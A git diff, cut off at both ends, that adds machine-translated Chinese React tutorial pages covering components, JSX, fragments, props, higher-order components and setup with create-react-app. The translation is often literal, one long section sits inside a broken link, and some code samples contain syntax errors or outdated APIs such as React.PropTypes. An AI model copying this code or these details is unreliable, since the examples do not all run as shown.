+\`\`\` 如果此代码与html文件扩展名（helloReact.html）一起保存，则可以在Web浏览器中打开 它将运行React和Babel。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/component/index.md b/client/src/guide/chinese/react/component/index.md
new file mode 100644
index 0000000000..a8feb0ebe1
--- /dev/null
+++ b/client/src/guide/chinese/react/component/index.md
@@ -0,0 +1,77 @@
+---
+title: React - Components
+localeTitle: 反应 - 组件
+---
+## 反应 - 组件
+
+组件可在react.js中重用。您可以将值注入道具，如下所示：
+
+```jsx
+function Welcome(props) { 
+  return <h1>Hello, {props.name}</h1>; 
+ } 
+ 
+ const element = <Welcome name="Faisal Arkan" />; 
+ ReactDOM.render( 
+  element, 
+  document.getElementById('root') 
+ ); 
+```
+
+`name="Faisal Arkan"`将从`function Welcome(props)`赋予`{props.name}`值，并返回已通过`name="Faisal Arkan"`赋予值的组件，之后反应将元素转换为html。
+
+### 声明组件的其他方法
+
+使用React.js时，有许多方法可以声明组件，但有两种组件， **_无状态_**组件和**_有状态_**组件。
+
+### 有状态
+
+#### 类类型组件
+
+```jsx
+class Cat extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    this.state = { 
+      humor: 'happy' 
+    } 
+  } 
+  render() { 
+    return( 
+      <div> 
+        <h1>{this.props.name}</h1> 
+        <p> 
+          {this.props.color} 
+        </p> 
+      </div> 
+    ); 
+  } 
+ } 
+```
+
+### 无状态组件
+
+#### 功能组件（ES6的箭头功能）
+
+```jsx
+const Cat = props => { 
+  return ( 
+    <div> 
+      <h1>{props.name}</h1> 
+      <p>{props.color}</p> 
+    </div>; 
+  ); 
+ }; 
+```
+
+#### 隐式返回组件
+
+```jsx
+const Cat = props => 
+  <div> 
+    <h1>{props.name}</h1> 
+    <p>{props.color}</p> 
+  </div>; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/components/index.md b/client/src/guide/chinese/react/components/index.md
new file mode 100644
index 0000000000..c7afc7f317
--- /dev/null
+++ b/client/src/guide/chinese/react/components/index.md
@@ -0,0 +1,11 @@
+---
+title: Components
+localeTitle: 组件
+---
+# 组件
+
+组件是React的构建块。
+
+### 更多信息：
+
+[组件和道具](https://reactjs.org/docs/components-and-props.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/fragments/index.md b/client/src/guide/chinese/react/fragments/index.md
new file mode 100644
index 0000000000..fb19900f82
--- /dev/null
+++ b/client/src/guide/chinese/react/fragments/index.md
@@ -0,0 +1,60 @@
+---
+title: Fragments
+localeTitle: 片段
+---
+# 片段
+
+片段是在不使用包装元素的情况下呈现多个元素的方法。在JSX中尝试渲染没有封闭标记的元素时，您将看到错误消息`Adjacent JSX elements must be wrapped in an enclosing tag` 。这是因为当JSX进行转换时，它会创建具有相应标记名称的元素，并且如果找到多个元素，则不知道要使用哪个标记名称。在过去，经常解决这个问题的方法是使用包装div来解决这个问题。然而，React的第16版带来了`Fragment`的添加，这使得不再需要它。
+
+`Fragment`扮演包装器而不向DOM添加不必要的div。您可以直接从React导入中使用它，或者解构它：
+
+```jsx
+import React from 'react'; 
+ 
+ class MyComponent extends React.Component { 
+  render(){ 
+    return ( 
+      <React.Fragment> 
+        <div>I am an element!</div> 
+        <button>I am another element</button> 
+      </React.Fragment> 
+    ); 
+  } 
+ } 
+ 
+ export default MyComponent; 
+```
+
+```jsx
+// Deconstructed 
+ import React, { Component, Fragment } from 'react'; 
+ 
+ class MyComponent extends Component { 
+  render(){ 
+    return ( 
+      <Fragment> 
+        <div>I am an element!</div> 
+        <button>I am another element</button> 
+      </Fragment> 
+    ); 
+  } 
+ } 
+ 
+ export default MyComponent; 
+```
+
+React版本16.2进一步简化了此过程，允许将空的JSX标记解释为片段：
+
+```jsx
+return ( 
+  <> 
+    <div>I am an element!</div> 
+    <button>I am another element</button> 
+  </> 
+ ); 
+```
+
+#### 更多信息：
+
+*   [React.Fragment（官方文档）](https://reactjs.org/docs/react-api.html#reactfragment)
+*   [React v16.2.0：改进了对碎片的支持](https://reactjs.org/blog/2017/11/28/react-v16.2.0-fragment-support.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/functional-components-vs-class-components/index.md b/client/src/guide/chinese/react/functional-components-vs-class-components/index.md
new file mode 100644
index 0000000000..c77b0fdc1a
--- /dev/null
+++ b/client/src/guide/chinese/react/functional-components-vs-class-components/index.md
@@ -0,0 +1,69 @@
+---
+title: Functional Components vs Class Components
+localeTitle: 功能组件与类组件
+---
+## 功能组件与类组件
+
+React中主要有两个组件：
+
+*   功能组件
+*   类组件
+
+## 功能组件
+
+*   功能组件是基本的JavaScript功能。这些通常是箭头函数，但也可以使用常规`function`关键字创建。
+*   有时被称为“哑”或“无状态”组件，因为它们只是接受数据并以某种形式显示它们;那就是他们主要负责渲染UI。
+*   React生命周期方法（例如， `componentDidMount` ）不能用于功能组件。
+*   功能组件中没有使用渲染方法。
+*   这些主要负责UI，通常只是表示（例如，Button组件）。
+*   功能组件可以接受和使用道具。
+*   如果您不需要使用React状态，则应该支持功能组件。
+
+```js
+import React from "react"; 
+ 
+ const Person = props => ( 
+  <div> 
+    <h1>Hello, {props.name}</h1> 
+  </div> 
+ ); 
+ 
+ export default Person; 
+```
+
+## 类组件
+
+*   类组件使用ES6类并在React中扩展`Component`类。
+*   有时称为“智能”或“有状态”组件，因为它们倾向于实现逻辑和状态。
+*   可以在类组件内使用React生命周期方法（例如， `componentDidMount` ）。
+*   您将props传递给类组件并使用`this.props`访问它们
+
+```js
+import React, { Component } from "react"; 
+ 
+ class Person extends Component { 
+  constructor(props){ 
+    super(props); 
+    this.state = { 
+      myState: true; 
+    } 
+  } 
+ 
+  render() { 
+    return ( 
+      <div> 
+        <h1>Hello Person</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+ 
+ export default Person; 
+```
+
+## 更多信息
+
+*   [反应组件](https://reactjs.org/docs/components-and-props.html)
+*   [功能与类组件](https://react.christmas/16)
+*   [React中的有状态与无状态功能组件](https://code.tutsplus.com/tutorials/stateful-vs-stateless-functional-components-in-react--cms-29541)
+*   [State和LifeCycle](https://reactjs.org/docs/state-and-lifecycle.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/handling-data-with-props-in-react/index.md b/client/src/guide/chinese/react/handling-data-with-props-in-react/index.md
new file mode 100644
index 0000000000..63660bbb1c
--- /dev/null
+++ b/client/src/guide/chinese/react/handling-data-with-props-in-react/index.md
@@ -0,0 +1,106 @@
+---
+title: Handling Data with Props in React
+localeTitle: 在React中使用道具处理数据
+---
+## 在React中使用道具处理数据
+
+Props提供了一种在React组件中传递和访问数据的方法。
+
+数据作为JSX中的属性传递给React组件。
+
+```javascript
+<MyComponent someAttribute={data.value} /> 
+```
+
+在JSX中，花括号表示必须返回值的JavaScript表达式。传递的数据通过定义组件中的props进行访问。
+
+```javascript
+const MyComponent = props => { 
+  <p>{props.someAttribute}</p> 
+ }; 
+```
+
+现在让我们来看看CodePen中的一个例子。
+
+### 入门
+
+如果您还没有，请继续注册[免费的CodePen帐户](https://codepen.io/accounts/signup/user/free) 。
+
+通过选择CodePen个人资料图片旁边的“创建”>“新笔”来创建新笔。
+
+接下来，我们将添加适当的库来呈现我们的React组件。
+
+选择“设置”>“JavaScript”打开JavaScript设置窗格。在“JavaScript预处理器”下选择“Babel”。
+
+接下来让我们添加我们的React库。在“外部JavaScript”下，选择“快速添加”下拉列表并添加“React”和“React DOM”库。
+
+### 使用道具
+
+首先，我们在JavaScript文件中定义一些虚拟数据。
+
+```javascript
+const blogData = { 
+  title: 'My blog title', 
+  body: 'Arcu viverra dolor eros interdum, quis nonummy accusantium at lorem luctus iaculis.' 
+ }; 
+```
+
+接下来让我们定义我们的博客组件。
+
+```javascript
+const Heading = () => { 
+  return ( 
+    <h1>My Blog</h1> 
+  ); 
+ }; 
+ 
+ const Blog = props => { 
+  return ( 
+    <div> 
+      <h2>{props.title}</h2> 
+      <p>{props.body}</p> 
+    </div> 
+  ); 
+ }; 
+```
+
+注意到我们如何使用props对象来呈现将传递给Blog组件的标题和正文值。道具是只读的或不可变的，因此我们不必担心更改道具值。
+
+在我们编写App组件之前，我们需要保护我们的组件定义将传递给每个prop的变量类型。我们将使用React.PropTypes定义它。将以下内容添加到JavaScript文件中。
+
+```javascript
+Blog.propTypes = { 
+  title: React.PropTypes.string, 
+  body: React.PropTypes.string 
+ }; 
+```
+
+在这里，我们定义传递给我们的Blog组件的数据将是标题和正文的字符串。查看[React的文档](https://reactjs.org/docs/typechecking-with-proptypes.html)以获取所有propType的列表。
+
+现在让我们将它放在一个app组件中并传递我们的数据。
+
+```javascript
+const App = props => { 
+  return ( 
+    <div> 
+      <Heading /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+    </div> 
+  ); 
+ }; 
+```
+
+最后，让我们渲染我们的应用程序（确保将根`<div>`标签添加到HTML文件中）：
+
+```javascript
+ReactDOM.render( 
+  <App />, 
+  document.getElementById('root') 
+ ); 
+```
+
+现在你应该看到我们的博客组件使用通过道具传递的虚拟数据进行渲染。
+
+您可以[在此处](https://codepen.io/trey-davis/pen/MvdZGX)查看CodePen示例。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/hello-world/index.md b/client/src/guide/chinese/react/hello-world/index.md
new file mode 100644
index 0000000000..f52196ba33
--- /dev/null
+++ b/client/src/guide/chinese/react/hello-world/index.md
@@ -0,0 +1,67 @@
+---
+title: Hello World
+localeTitle: 你好，世界
+---
## 你好，世界 ！！
+
+每个语言学习都从传统的Hello World示例开始。在这里，您将使用相同的HelloWorld程序介绍React。
+
+React中的所有内容都是一个组件。
+
+但在此之前，我们需要确保在计算机中安装了node.js和npm。我们可以选择使用CRA（Create React App），它是Facebook开发人员构建的工具，可帮助您构建React应用程序。它可以节省您耗时的设置和配置。您只需运行一个命令并创建react app即可设置启动React项目所需的工具。
+
+我们可以通过以下命令安装它
+```
+npm install -g create-react-app 
+ 
+ create-react-app my-app 
+ 
+ cd my-app 
+ npm start 
+```
+
+命令行应该为您提供输出，您可以在浏览器中找到该应用程序。默认值应为localhost：8080。如果您只在Windows计算机上使用IE或Edge，我建议您安装Chrome以访问开发人员环境和可用作Chrome扩展程序的React Developer Tools。
+
+![alt反应起始页](https://cdn-images-1.medium.com/max/800/1*Qcry5pCXIy2KeNRsq3w7Bg.png)
+
+#### SRC / App.js
+
+复制下面的代码并将其粘贴到src / App.js中
+
+```javascript
+  import React from 'react'; 
+ 
+  class App extends React.Component{ 
+    constructor(props) { 
+      super(props); 
+    } 
+ 
+    render(){ 
+      return( 
+        <div> 
+          <p>Hello World !!</p> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default App; 
+```
+
+如果我们检查src文件夹中的index.js文件，我们发现上面的App.js被调用到index.js然后呈现。
+
+```javascript
+// Other code 
+ import App from './App'; // The App component is imported 
+ 
+ // Other code 
+ ReactDOM.render(<App />, 
+ document.getElementById('root'));  //The <App /> is the way components are called in react after importing them 
+ 
+ // Other code 
+```
+
+在上面，App.js被称为组件。通常，我们创建多个组件并将它们放在App.js中，然后在index.js中呈现它们，然后将其呈现到index.html中的根div中。
+
+恭喜 ！！您已经创建了第一个React Hello world应用程序。您将在后续文章中了解有关React的更多信息。
+
+快乐编码!!
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/higher-order-components/index.md b/client/src/guide/chinese/react/higher-order-components/index.md
new file mode 100644
index 0000000000..6c3f5bd0f1
--- /dev/null
+++ b/client/src/guide/chinese/react/higher-order-components/index.md
@@ -0,0 +1,53 @@
+---
+title: Higher-Order Components
+localeTitle: 高阶组件
+---
+## 高阶组件
+
+在React中， **高阶组件** （HOC）是一个获取组件并返回新组件的函数。程序员使用HOC来实现**组件逻辑重用** 。
+
+如果您使用过Redux的`connect` ，那么您已经使用过高阶组件。
+
+核心思想是：
+
+```jsx
+const EnhancedComponent = enhance(WrappedComponent); 
+```
+
+哪里：
+
+*   `enhance`是高阶分量;
+*   `WrappedComponent`是您要增强的组件;和
+*   `EnhancedComponent`是创建的新组件。
+
+这可能是`enhance` HOC的主体：
+
+```jsx
+function enhance(WrappedComponent) { 
+  return class extends React.Component { 
+    render() { 
+      const extraProp = 'This is an injected prop!'; 
+      return ( 
+        <div className="Wrapper"> 
+          <WrappedComponent 
+            {...this.props} 
+            extraProp={extraProp} 
+          /> 
+        </div> 
+      ); 
+    } 
+  } 
+ } 
+```
+
+在这种情况下， `enhance`返回一个扩展`React.Component`的**匿名类** 。这个新组件做了三件简单的事情：
+
+*   在`div`元素中渲染`WrappedComponent` ;
+*   将自己的道具传递给`WrappedComponent` ;和
+*   向`WrappedComponent`注入额外的prop。
+
+HOC只是一种利用React组成性质的力量的模式。 **他们为组件添加功能** 。你可以用它们做更多的事情！
+
+## 其他资源
+
+*   [反应文档：高阶组件](https://reactjs.org/docs/higher-order-components.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/index.md b/client/src/guide/chinese/react/index.md
new file mode 100644
index 0000000000..d627babba4
--- /dev/null
+++ b/client/src/guide/chinese/react/index.md
@@ -0,0 +1,232 @@
+---
+title: React
+localeTitle: 应对
+---
+# 应对
+
+React是一个用于构建用户界面的JavaScript库。它被Stack Overflow 2017年开发者调查中的“框架，图书馆和其他技术”类别评为最受欢迎。 1
+
+React是一个JavaScript库，构建在它上面的React应用程序在浏览器中运行，而不是在服务器上运行。这种应用程序仅在必要时与服务器通信，这使得它们与传统网站相比非常快，这些网站迫使用户等待服务器重新呈现整个页面并将其发送到浏览器。
+
+React用于构建用户界面 - 用户在屏幕上看到并与之交互以使用您的Web应用程序。这个界面被分成几个部分，而不是将一个巨大的页面拆分成称为组件的较小部分。更一般地说，这种方法称为模块化。
+
+*   它是声明性的：React使用声明性范例，使您更容易推理您的应用程序。
+*   效率很高：React计算保持DOM最新所需的最小变更集。
+*   而且它很灵活：React可以与您已经知道的库和框架一起使用。
+
+## 为什么要学习React？
+
+1.  React涉及组合，其中包含许多组件，将功能包装到封装容器中。 许多流行的网站使用React实现MVC架构模式。 Facebook（部分），Instagram（完全），可汗学院（部分），Codecademy（部分），纽约时报（部分），雅虎邮箱（完全），Dropbox的新照片和视频库应用程序Carousel（完全）是已知的热门网站使用React。 如何使用React构建这些大型应用程序？简单的答案是构建小型应用程序或组件。 例：
+
+```jsx
+const Component2 = () => { 
+  return ( 
+    <div></div> 
+  ); 
+ }; 
+ const Component3 = () => { 
+  return ( 
+    <div></div> 
+  ); 
+ }; 
+ const Component1 = () => { 
+  return ( 
+    <div> 
+      <Component2 /> 
+      <Component3 /> 
+    </div> 
+  ); 
+ }; 
+ 
+ ReactDOM.render( 
+  <Component1 />, 
+  document.getElementById("app") 
+ ); 
+```
+
+2.  在大多数情况下，React是声明性的，我们更关心的是做什么而不是如何做特定的任务。声明性编程是一种编程范例，表示计算的逻辑而不描述其控制流。 声明性编程具有某些优点，例如减少副作用（当我们修改任何状态或改变某些东西或发出API请求时发生），最小化可变性（大量抽象），增强的可读性，较小的错误。
+    
+3.  单向数据流。 React中的UI实际上是状态的功能，这意味着当状态更新时它也会更新UI。所以我们的UI随着状态的变化而进步。
+    
+
+## React的优点
+
+使用React的一些原因是：
+
+1.  快速。在React中制作的应用程序可以处理复杂的更新，并且仍然能够快速响应。
+2.  模块化。您可以编写许多较小的可重用文件，而不是编写大而密集的代码文件。 React的模块化可以解决JavaScript的[可维护性问题](https://en.wikipedia.org/wiki/Spaghetti_code) 。
+3.  可扩展性。显示大量不断变化的数据的大型程序是React表现最佳的地方。
+4.  灵活。您可以将React用于与制作Web应用程序无关的有趣项目。人们仍然在研究React的潜力。 [有探索的空间](https://medium.mybridge.co/22-amazing-open-source-react-projects-cb8230ec719f) 。
+
+### 虚拟DOM
+
+React的神奇之处在于它对DOM的解释以及它创建UI的策略。
+
+React首先使用Virtual DOM虚拟渲染HTML树，然后，每次状态发生变化时，我们都会得到一个需要被带到浏览器DOM的新HTML树，而不是编写整个新树，React只会编写新树和前一棵树之间的差异（因为React在内存中都有树）。此过程称为树对帐。
+
+### 和解
+
+React有一个智能的差异算法，它只用于在DOM节点中重新生成实际需要重新生成的内容，同时保留其他所有内容。由于React的虚拟DOM，这种差异化过程是可能的。
+
+使用虚拟DOM，React将最后的DOM版本保留在内存中，当它有一个新的DOM版本带到浏览器时，新的DOM版本也将在内存中，因此React可以计算新版本和旧版本之间的差异。
+
+然后，React将指示浏览器仅更新计算的diff而不是整个DOM节点。无论我们重新生成界面多少次，React都会向浏览器添加新的“部分”更新。
+
+## 从Scratch反应
+
+您是否想开始学习反应的基础知识而不会陷入困境创建开发环境？ 如果您不熟悉Web开发，那么设置开发环境可能会让您在尝试学习React或第一次学习React时感到有点恐惧。
+
+在本文中，我们将介绍如何仅使用文本编辑器和浏览器开始使用React，而不是其他任何内容。
+
+[![“在这里观看视频”width](http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[### 1 - 用Emmet设置锅炉板代码
+
+让我们开始第1步。我们将从浏览器中的一个名为“index.html”的文件开始。我们将从锅炉板代码HTML代码开始。为了快速入门，我建议使用Emmet和你拥有的任何文本编辑器，并在第一行输入`html:5`然后按shift键获取下面的代码。或者您可以继续复制并粘贴下面的代码。
+
+```javascript
+html:5 
+```
+
+这将产生以下代码：
+
+```javascript
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+  <meta http-equiv="X-UA-Compatible" content="ie=edge"> 
+  <title>Document</title> 
+ </head> 
+ <body> 
+ 
+ </body> 
+ </html> 
+```
+
+我们可以填写“反应时间！”的标题。
+
+此内容不会显示在您的网页中。 HTML文件的head部分中的任何内容都将是我们的浏览器将用户在body部分中解释我们的代码的元数据。此标题将显示在我们页面的选项卡上，而不是实际显示在页面上。
+
+### 2 - 获取脚本标签以利用React和Babel库的强大功能
+
+好的，第一项是从我们的清单中检查出来的。我们来看第二项。我们将使用脚本标记来引入React和Babel来设置我们的开发人员环境。这不是一个真实的开发者环境。那将是一个非常复杂的设置。它还会给我们留下大量的锅炉板代码和库，这些代码和库将使我们不再学习React基础知识。本系列的目标是回顾React的基本语法并直接进入编码。 我们将使用`<script>`标签引入React Library，React DOM库（为什么）和Babel库。
+
+```javascript
+<head> 
+  ... 
+  <!-- REACT LIBRARY --> 
+  <script src="https://unpkg.com/react@15.5.4/dist/react.js"></script> 
+  <!-- REACT DOM LIBRARY --> 
+  <script src="https://unpkg.com/react-dom@15.5.4/dist/react-dom.js"></script> 
+  <!-- BABEL LIBRARY --> 
+  <script src="https://cdnjs.cloudflare.com/ajax/libs/babel-standalone/6.25.0/babel.min.js"></script> 
+  ... 
+  <title>Time to React!</title> 
+ </head> 
+```
+
+您可以随意使用这些库的更新版本。他们不应该为我们覆盖的内容创建任何重大更改。
+
+我们在这里做什么？ ：HTML `<script>`元素用于嵌入或引用可执行脚本。 “src”属性指向React库，ReactDOM库和Babel库的外部脚本文件。 这就像你有一个电动剃须刀。无论电动剃须刀多么花哨，除非你能将它插入墙壁并获得电力，否则对你来说实在没什么好处。如果我们的浏览器无法插入这些库来理解和解释我们的目标，那么我们编写的React代码将对我们不利。 这就是我们的应用程序如何获得React的功能，它将是我们如何将React插入Dom。我们将React和ReactDOM作为两个不同的库的原因是因为有一些用例，例如React Native，移动开发不需要渲染到DOM，因此库被拆分以供人们根据需要做出决定在他们正在进行的项目上。因为我们需要我们的React来实现它，所以我们将使用这两个脚本。 Babel是我们如何利用ES5之外的ECMA脚本并处理我们将在React中使用的称为JSX（JavaScript as XML）的东西。我们将在即将到来的课程中深入了解巴别塔的魔力:) 好的，我们已经完成了步骤1和2.我们已经设置了锅炉板代码并设置了我们的开发环境。
+
+### 3 - 渲染React到DOM
+
+接下来的两个步骤是在DOM中选择我们想要呈现React内容的位置。并在正文中使用另一个脚本标记来表示我们的React内容。一般来说，作为关注实践的良好分离，这将在其自己的文件中然后链接到该html文档。我们将在稍后的课程中做到这一点。 现在，我们将它留在我们目前所处的html文档的正文中。 现在我们来看看在DOM上选择一个位置来呈现我们的React内容是多么简单。 我们会进入体内。最佳实践不仅仅是将React放入要显示的body标签中，而是创建一个单独的元素，通常是div，您可以将其视为插入React内容的根元素。
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+ </body> 
+```
+
+我们将创建一个简单的`<div>`元素，并为其指定“app”。我们将能够定位此位置以插入我们的React内容，就像使用CSS来定位您选择的样式的ID一样。 任何反应内容都将在id为app的div标签内呈现。与此同时，我们将留下一些文字说“React尚未渲染”如果我们在预览页面时看到这一点，则意味着我们错过渲染React的某个地方。 现在，让我们继续在我们的身体内创建一个脚本标签，我们将在第一时间做出反应。我们脚本标记需要的语法是添加“type”属性。这指定了脚本的媒体类型。在我们的脑海中，我们使用了一个src属性，该属性指向React库，ReactDOM库和Babel库的外部脚本文件。
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  </script> 
+ </body> 
+```
+
+我们正在使用的脚本的“类型”我们将用引号括起来并将其设置为`"text/babel"` 。 当我们使用JSX时，我们需要这种能力立即使用babel。首先，我们将把React呈现给DOM。我们将使用`ReactDOM.render()`方法来执行此操作。这将是一种方法，并且记住方法只是附加到对象的函数。此方法将采用两个参数。
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  ReactDOM.render(React What, React Where); 
+ </script> 
+ </body> 
+```
+
+第一个论点是反应的“什么”。第二个参数是您希望将其放置在DOM中的位置“where”。 让我们从调用ReactDOM.render（）方法开始。 我们的第一个论点是我们的JSX。
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  ReactDOM.render( 
+    <h1>Hello World</h1>, 
+    React Where 
+  ); 
+ </script> 
+ </body> 
+
+```](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI) 
+
+[](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)[官方反应文档声明](https://reactjs.org/docs/introducing-jsx.html) ：“这个有趣的标签语法既不是字符串也不是HTML。它被称为JSX，它是JavaScript的语法扩展。我们建议将它与React一起使用来描述UI应该是什么样子。 JSX可能会提醒您一种模板语言，但它具有JavaScript的全部功能。 JSX生成React“元素”。“
+
+很多时候，JSX让那些已经成为开发人员的人感到不安，因为它看起来像HTML。在很小的时候，开发人员被教导分离关注点。 HTML有它的位置，CSS有它的位置，JavaScript有它的位置。 JSX似乎模糊了界限。你正在使用看起来像HTML的东西，但正如Facebook所说，它具有JavaScript的全部功能。
+
+这可能让退伍军人感到不安，所以很多反应教程都是在没有JSX的情况下开始的，这可能非常复杂。我们不会这样做。因为这门课程是针对那些在职业生涯中非常年轻的人，所以当你看到这种语法时，你可能不会带来那些危险信号。
+
+JSX非常直观。您可以非常轻松地阅读此代码，并看到这将是显示文本“Hello World”的最大标头标记。没有神秘感和相当简单。 现在，让我们来看看我们的第二个论点是什么。
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+    ReactDOM.render( 
+      <h1>Hello World</h1>, 
+      document.getElementById("app") 
+    ); 
+  </script> 
+ </body> 
+```
+
+这就是我们希望我们的反应内容呈现给dom的地方。你过去可能已经做了很多次了。我们只需输入`document.getElementById()` 。我们将进入app的id论证。就是这样。我们现在将使用app的id来定位div，以插入我们的反应内容。
+
+我们希望确保保存我们的内容。继续在浏览器中打开它，你应该看到“Hello World”。正如您可能猜到的，使用React并不是创建Hello World应用程序的最快或最好的方法。我们还没有看到它的好处。但现在，我们知道一切正常。
+
+继续打开控制台，看看“元素”。您可以使用命令+ shift + j或在Windows和Linux上的Mac上执行此操作：Ctrl + Shift + J.
+
+如果单击head标签，我们可以看到我们包含的脚本库。然后我们可以深入到我们的文档正文。让我们点击ID为“app”的div。当我们这样做时，我们会看到带有“Hello World”内容的`<h1>`标签。
+
+[在此查看整个代码](https://github.com/robgmerrill/hello-react/blob/master/section-one/index.html)
+
+要么
+
+[![“在这里观看视频”width](http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[
+
+### 概括
+
+那么让我们快速回顾一下。在我们的head标签中，我们抓住了React，ReactDOM和Babel的脚本标签。这些是我们的浏览器在其元数据中需要的工具，以便特定地阅读我们的React代码和JSX。 然后我们通过创建id为“app”的元素div来定位我们想要插入React的DOM中的位置。 接下来，我们创建了一个脚本标记来输入我们的React代码。我们使用了带有两个参数的ReactDOM.render（）方法。 React内容的“内容”，在本例中是我们的JSX，第二个参数是您希望将React内容插入DOM的“where”。在这种情况下，它是id为“app”的位置。
+
+](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[作为JSX的替代品，您可以使用像Babel这样的ES6和Javascript编译器。](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI) [https://babeljs.io/](https://babeljs.io/)
+
+### 更多信息：
+
+*   [反应主页](https://reactjs.org/)
+*   [丹阿布拉莫夫的推特](https://twitter.com/dan_abramov)
+*   [Egghead.io的React教程](https://egghead.io/browse/frameworks/react)
+
+### 来源
+
+1.  [“2017年开发者调查结果。”](https://insights.stackoverflow.com/survey/2017#technology-most-loved-dreaded-and-wanted-frameworks-libraries-and-other-technologies) _堆栈溢出。_访问时间：2017年10月28日。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/installation/index.md b/client/src/guide/chinese/react/installation/index.md
new file mode 100644
index 0000000000..2bb984ff9a
--- /dev/null
+++ b/client/src/guide/chinese/react/installation/index.md
@@ -0,0 +1,38 @@
+---
+title: Installation
+localeTitle: 安装
+---
+## 安装React
+
+### 创建一个新的React项目
+
+您可以在您的网页中嵌入React库，如下所示2 ：
+
+```html
+
+<script src="https://cdnjs.cloudflare.com/ajax/libs/react/16.0.0/cjs/react.production.min.js"></script> 
+```
+
+聪明的程序员希望采用更实用，更高效的方式： [创建React App](https://github.com/facebookincubator/create-react-app)
+
+```bash
+npm install -g create-react-app 
+ create-react-app my-app 
+ 
+ cd my-app 
+ npm start 
+```
+
+这将设置您的开发环境，以便您可以使用最新的JavaScript功能，提供良好的开发人员体验，并优化您的应用程序以进行生产。
+
+`npm start`将启动一个允许实时重新加载的开发服务器3 。
+
+完成项目并准备将应用程序部署到生产环境后，您就可以使用了 `npm run build` 在`build`文件夹中创建应用程序的优化版本。
+
+#### 有用的链接
+
+[创建React App存储库](https://github.com/facebookincubator/create-react-app#create-react-app-)
+
+#### 来源
+
+[1.关于安装的React教程](https://reactjs.org/docs/installation.html) [2.链接到cdnjs.org上的React最小JavaScript库](https://cdnjs.com/libraries/react) [3\. npm start命令](https://docs.npmjs.com/cli/start)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/jsx/index.md b/client/src/guide/chinese/react/jsx/index.md
new file mode 100644
index 0000000000..b7e4b997d9
--- /dev/null
+++ b/client/src/guide/chinese/react/jsx/index.md
@@ -0,0 +1,80 @@
+---
+title: JSX
+localeTitle: JSX
+---
+# JSX
+
+> JSX是JavaScript XML的缩写。
+
+JSX是一个在JavaScript中使用有效HTML语句的表达式。您可以将此表达式分配给变量并在其他位置使用它。您可以将这些HTML表达式中的其他有效JavaScript表达式和JSX放在大括号（ `{}` ）中。 Babel进一步将JSX编译为`React.createElement()`类型的对象。
+
+### 单行和多行表达式
+
+单行表达式易于使用。
+
+```jsx
+const one = <h1>Hello World!</h1>; 
+```
+
+当您需要在单个JSX表达式中使用多行时，请在单个括号内编写代码。
+
+```jsx
+const two = ( 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+```
+
+### 仅使用HTML标记
+
+```jsx
+const greet = <h1>Hello World!</h1>; 
+```
+
+### 将JavaScript表达式与HTML标记相结合
+
+我们可以在大括号内使用JavaScript变量。
+
+```jsx
+const who = "Quincy Larson"; 
+ const greet = <h1>Hello {who}!</h1>; 
+```
+
+我们还可以在大括号内调用其他JavaScript函数。
+
+```jsx
+function who() { 
+  return "World"; 
+ } 
+ const greet = <h1>Hello {who()}!</h1>; 
+```
+
+### 只允许使用单个父标记
+
+JSX表达式必须只有一个父标记。我们可以添加嵌套在父元素中的多个标签。
+
+```jsx
+// This is valid. 
+ const tags = ( 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+ 
+ // This is not valid. 
+ const tags = ( 
+  <h1>Hello World!</h1> 
+  <h3>This is my special list:</h3> 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+```
+
+### 更多信息
+
+*   [介绍JSX](https://reactjs.org/docs/introducing-jsx.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/life-cycle-methods-of-a-component/index.md b/client/src/guide/chinese/react/life-cycle-methods-of-a-component/index.md
new file mode 100644
index 0000000000..7b493aa118
--- /dev/null
+++ b/client/src/guide/chinese/react/life-cycle-methods-of-a-component/index.md
@@ -0,0 +1,77 @@
+---
+title: Life Cycle Methods Of A Component
+localeTitle: 组件的生命周期方法
+---
## 组件的生命周期方法
+
+当我们开始使用组件时，我们需要执行多个操作来更新状态或在该组件中发生更改时执行某些操作。在这种情况下，组件的生命周期方法会派上用场！因此，让我们在本文中深入探讨它们。
+
+从广义上讲，我们可以将生命周期方法分为**3**类。
+
+1.  安装
+2.  更新
+3.  卸载
+
+由于生命周期方法是自解释的，我只想提一下方法名称。如有必要，请随时为本文做出贡献。
+
+## 安装：
+
